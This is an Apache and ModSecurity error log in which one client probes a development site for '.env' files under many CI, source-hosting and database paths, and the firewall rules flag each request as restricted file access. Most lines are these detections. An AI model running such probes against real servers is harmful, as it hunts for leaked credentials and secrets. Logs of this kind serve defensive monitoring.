[Fri Jul 17 09:15:21.111873 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:21.160283 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUIl9vhFBGA6D8l99hQAAAAw"]
[Fri Jul 17 09:15:21.329149 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ci/.env"] [unique_id "almlUZBVIrrUwtEhdafUHAAAAAU"]
[Fri Jul 17 09:15:21.330366 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/ci/.env"] [unique_id "almlUZBVIrrUwtEhdafUHAAAAAU"]
[Fri Jul 17 09:15:21.571850 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUZBVIrrUwtEhdafUHAAAAAU"]
[Fri Jul 17 09:15:21.617290 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:21.739815 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cd/.env"] [unique_id "almlUejME1mgqYZ5O94phwAAAAE"]
[Fri Jul 17 09:15:21.741071 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cd/.env"] [unique_id "almlUejME1mgqYZ5O94phwAAAAE"]
[Fri Jul 17 09:15:21.928773 2026] [security2:error] [pid 2034024:tid 2034024] [client 46.246.88.142:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/admin/index.php"] [unique_id "almlUY-0g_VSPeIeFN3DmwAAAAs"]
[Fri Jul 17 09:15:21.929421 2026] [security2:error] [pid 2034024:tid 2034024] [client 46.246.88.142:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/admin/index.php"] [unique_id "almlUY-0g_VSPeIeFN3DmwAAAAs"]
[Fri Jul 17 09:15:21.956196 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUejME1mgqYZ5O94phwAAAAE"]
[Fri Jul 17 09:15:22.022909 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 57.141.18.77:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory37/subsystem/devices/memory61/node0/memory68/subsystem/devices/memory87/node0/cpu3/crash_notes
[Fri Jul 17 09:15:22.144331 2026] [security2:error] [pid 2034024:tid 2034024] [client 46.246.88.142:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almlUY-0g_VSPeIeFN3DmwAAAAs"]
[Fri Jul 17 09:15:22.163088 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/jenkins/.env"] [unique_id "almlUg5GPQ6hs4VrfMpFTwAAAAY"]
[Fri Jul 17 09:15:22.164284 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/jenkins/.env"] [unique_id "almlUg5GPQ6hs4VrfMpFTwAAAAY"]
[Fri Jul 17 09:15:22.239200 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:22.448881 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUg5GPQ6hs4VrfMpFTwAAAAY"]
[Fri Jul 17 09:15:22.625330 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gitlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gitlab/.env"] [unique_id "almlUlh1WDijTxd1xw5PtAAAAAc"]
[Fri Jul 17 09:15:22.626628 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/gitlab/.env"] [unique_id "almlUlh1WDijTxd1xw5PtAAAAAc"]
[Fri Jul 17 09:15:22.849325 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUlh1WDijTxd1xw5PtAAAAAc"]
[Fri Jul 17 09:15:23.020302 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/github/.env"] [unique_id "almlUzsMb3am0TgkjETeFQAAAAo"]
[Fri Jul 17 09:15:23.021504 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/github/.env"] [unique_id "almlUzsMb3am0TgkjETeFQAAAAo"]
[Fri Jul 17 09:15:23.139685 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:23.247466 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlUzsMb3am0TgkjETeFQAAAAo"]
[Fri Jul 17 09:15:23.415516 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /actions/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/actions/.env"] [unique_id "almlU11_86A5R6msWNfXxQAAABI"]
[Fri Jul 17 09:15:23.416738 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/actions/.env"] [unique_id "almlU11_86A5R6msWNfXxQAAABI"]
[Fri Jul 17 09:15:23.576096 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlU11_86A5R6msWNfXxQAAABI"]
[Fri Jul 17 09:15:23.746475 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /circleci/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/circleci/.env"] [unique_id "almlU_wooI4qY7Jg93pY6QAAABM"]
[Fri Jul 17 09:15:23.747433 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS1/line
[Fri Jul 17 09:15:23.747622 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/circleci/.env"] [unique_id "almlU_wooI4qY7Jg93pY6QAAABM"]
[Fri Jul 17 09:15:23.948469 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:46648] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:23.998945 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlU_wooI4qY7Jg93pY6QAAABM"]
[Fri Jul 17 09:15:24.059426 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:24.162977 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:24.170991 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /travis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/travis/.env"] [unique_id "almlVIl9vhFBGA6D8l99iwAAAAw"]
[Fri Jul 17 09:15:24.172267 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/travis/.env"] [unique_id "almlVIl9vhFBGA6D8l99iwAAAAw"]
[Fri Jul 17 09:15:24.265454 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:24.361819 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVIl9vhFBGA6D8l99iwAAAAw"]
[Fri Jul 17 09:15:24.367199 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:24.529676 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /buildkite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/buildkite/.env"] [unique_id "almlVDsMb3am0TgkjETeFwAAAAo"]
[Fri Jul 17 09:15:24.530860 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/buildkite/.env"] [unique_id "almlVDsMb3am0TgkjETeFwAAAAo"]
[Fri Jul 17 09:15:24.670867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:24.760193 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVDsMb3am0TgkjETeFwAAAAo"]
[Fri Jul 17 09:15:24.928406 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mysql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mysql/.env"] [unique_id "almlVOjME1mgqYZ5O94pjQAAAAE"]
[Fri Jul 17 09:15:24.929560 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mysql/.env"] [unique_id "almlVOjME1mgqYZ5O94pjQAAAAE"]
[Fri Jul 17 09:15:25.090765 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlVOjME1mgqYZ5O94pjQAAAAE"]
[Fri Jul 17 09:15:25.177272 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty47/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 09:15:25.285858 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postgres/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/postgres/.env"] [unique_id "almlVSRF0UOO1RzB5_8xcwAAAA4"]
[Fri Jul 17 09:15:25.287070 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/postgres/.env"] [unique_id "almlVSRF0UOO1RzB5_8xcwAAAA4"]
